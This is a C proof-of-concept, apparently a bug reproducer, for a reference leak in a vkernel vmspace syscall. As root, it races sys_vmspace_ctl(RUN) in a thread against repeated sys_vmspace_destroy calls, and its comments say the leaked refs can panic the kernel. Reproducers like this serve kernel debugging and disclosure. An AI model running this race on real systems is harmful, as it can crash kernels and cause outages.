/*
 * DF-0952 — sys_vmspace_destroy ve->refs leak (v2 - real ctl RUN race).
 *
 * Strategy: get another LWP to bump ve->refs via sys_vmspace_ctl(RUN)
 * and stay there briefly, while main thread calls sys_vmspace_destroy.
 * On EBUSY the +1 ref added by vkernel_find_vmspace is leaked.
 *
 * sys_vmspace_ctl(RUN) needs a readable trapframe+vextframe. We give
 * it a zeroed one - copyin succeeds, but cpu_sanitize_frame may reject.
 * If cpu_sanitize succeeds, the LWP enters the foreign vmspace and
 * immediately faults (no mappings) which fires vkernel_trap and drops
 * the ref. The race window is between ctl's atomic_add_int and the
 * subsequent trap drop.
 */

#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>

#define SYS_vmspace_create   486
#define SYS_vmspace_destroy  487
#define SYS_vmspace_ctl      488
#define SYS_vmspace_mmap     489

#define VMSPACE_CTL_RUN      1

/* Approximate sizes — the kernel copyin's `sizeof(struct trapframe)`
 * and `sizeof(struct savetls)`. 512 and 256 are generous upper bounds. */
#define TFRAMESZ 512
#define SAVETLSZ 256

struct vextframe {
    char tls[SAVETLSZ];
};

static volatile void *g_id;
static volatile int g_ready = 0;
static volatile int g_stop = 0;

static void *runner(void *arg) {
    (void)arg;
    /* Wait for main to create the vmspace */
    while (!g_ready) { sched_yield(); }

    /* Try to enter the vmspace. Will likely fail (cpu_sanitize_frame
     * rejects a zero frame) but if it succeeds we briefly hold a ref. */
    char tframe[TFRAMESZ] = {0};
    struct vextframe vframe = {{0}};

    while (!g_stop) {
        int r = syscall(SYS_vmspace_ctl, (void *)g_id, VMSPACE_CTL_RUN,
                        tframe, &vframe);
        if (r >= 0 || errno == 256) {  /* EJUSTRETURN = 256 if surfaced */
            /* We're now in the foreign vmspace; any syscall will trap back */
            /* But the foreign vmspace has no mappings - we'll fault on
             * return-to-user. The trap drops the ref. */
        }
        sched_yield();
    }
    return NULL;
}

int main(void) {
    if (getuid() != 0) {
        fprintf(stderr, "[!] DF-0952 must run as root\n");
        return 2;
    }
    system("sysctl -w vm.vkernel_enable=1 >/dev/null");

    void *id = (void *)0x1234;
    g_id = id;
    int type = 0;
    void *data = NULL;

    int r = syscall(SYS_vmspace_create, id, type, data);
    if (r < 0) { perror("vmspace_create"); return 2; }
    printf("[+] vmspace_create(id=%p) ok\n", id);

    /* Try to populate the per-LWP cache via mmap (also exercises the find path). */
    pthread_t t;
    pthread_create(&t, NULL, runner, NULL);
    g_ready = 1;

    /* Hammer destroy; each EBUSY leaks a ref */
    int ebusy_count = 0, ok_count = 0, other_count = 0;
    for (int i = 0; i < 1000; i++) {
        r = syscall(SYS_vmspace_destroy, id);
        if (r == 0) ok_count++;
        else if (errno == EBUSY) ebusy_count++;
        else other_count++;
        if ((i % 100) == 0) sched_yield();
    }
    g_stop = 1;
    pthread_join(t, NULL);

    printf("[*] destroy stats: ok=%d ebusy=%d other=%d\n",
           ok_count, ebusy_count, other_count);
    printf("[*] Each EBUSY permanently leaks one ve->refs. Process exit\n");
    printf("[*] will panic in rb_vmspace_delete if any leak occurred and the\n");
    printf("[*] ve was successfully deleted later (refs mismatch).\n");
    return 0;
}